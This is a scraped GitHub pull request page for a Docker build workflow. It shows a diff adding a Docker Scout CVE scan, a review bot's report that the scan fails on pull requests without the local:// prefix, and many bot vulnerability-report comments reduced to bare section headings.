+        uses: docker/scout-action@f8c776824083494ab0d56b8105ba2ca85c86e4de # v1.18.2
+        with:
+          command: cves,environment
+          image: ${{ fromJSON(steps.meta.outputs.json).tags[0] }}


Bug: The Docker Scout step for CVE analysis will fail on pull requests because it tries to pull a local-only image from the registry by not using the local:// prefix.
_{Severity: HIGH}

Suggested Fix

Update the if condition to exclude pull_request events, for example: if: github.event_name == 'workflow_dispatch'. Alternatively, if the step is intended to run on PRs, add the local:// prefix to the image input: image: local://${{ fromJSON(steps.meta.outputs.json).tags[0] }}.

Prompt for AI Agent

Review the code at the location below. A potential bug has been identified by an AI agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's not valid. Location: .github/workflows/docker-pr-evaller.yml#L111-L117 Potential issue: The "Analyze for critical and high CVEs" step runs on `pull_request` events due to the condition `if: ${{ github.event_name != 'pull_request_target' }}`. For these events, the Docker image is built locally (`load: true, push: false`) but not pushed to the registry. The step then attempts to scan the image using its full tag (e.g., `ghcr.io/owner/repo:tag`) without the required `local://` prefix. This causes Docker Scout to attempt a registry pull for an image that only exists locally, leading to a workflow failure and blocking PR validation.

_{Did we get this right? 👍 / 👎 to inform future reviews.}

Separate PR and push Docker build

9a7b2fd

mkaraki self-assigned this Feb 10, 2026

Fix PR env

05d8a38

Change docker hub authentication order

d4e604b

sentry Bot reviewed Feb 10, 2026

View reviewed changes

mkaraki merged commit 0b0aa53 into master Feb 10, 2026
20 checks passed

mkaraki deleted the change-actions branch February 10, 2026 05:32

Conversation

mkaraki commented Feb 10, 2026

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Overview

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-imgserver:pr-188

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-imgserver:pr-188

Uh oh!

github-advanced-security AI commented Feb 10, 2026

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Qodana for Python

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Overview

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-viewer:pr-188

Details

PoC

Impact

Remediation

Summary

Details

PoC

Setup

Run

Impact

Remote Code Execution / Server Takeover

Data Exfiltration & Corruption

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Suggested Fix

Impact

Patches

Workarounds

Denial of Service via proto Key in mergeConfig

Summary

Details

PoC

Impact

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Overview

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-evaller:pr-188

Summary

Details

PoC

Impact

Recommended Fix

Suggested Patch:

Uh oh!

github-actions Bot commented Feb 10, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-evaller:pr-188

Summary

Details

PoC

Impact

Recommended Fix

github-actions Bot commented Feb 10, 2026 •

edited

Loading

github-actions Bot commented Feb 10, 2026 •

edited

Loading

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-imgserver:pr-188`

github-actions Bot commented Feb 10, 2026 •

edited

Loading

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-imgserver:pr-188`

github-actions Bot commented Feb 10, 2026 •

edited

Loading

github-actions Bot commented Feb 10, 2026 •

edited

Loading

github-actions Bot commented Feb 10, 2026 •

edited

Loading

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-viewer:pr-188`

github-actions Bot commented Feb 10, 2026 •

edited

Loading

github-actions Bot commented Feb 10, 2026 •

edited

Loading

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-evaller:pr-188`

github-actions Bot commented Feb 10, 2026 •

edited

Loading

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-evaller:pr-188`

github-actions Bot commented Feb 10, 2026 •

edited

Loading

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-viewer:pr-188`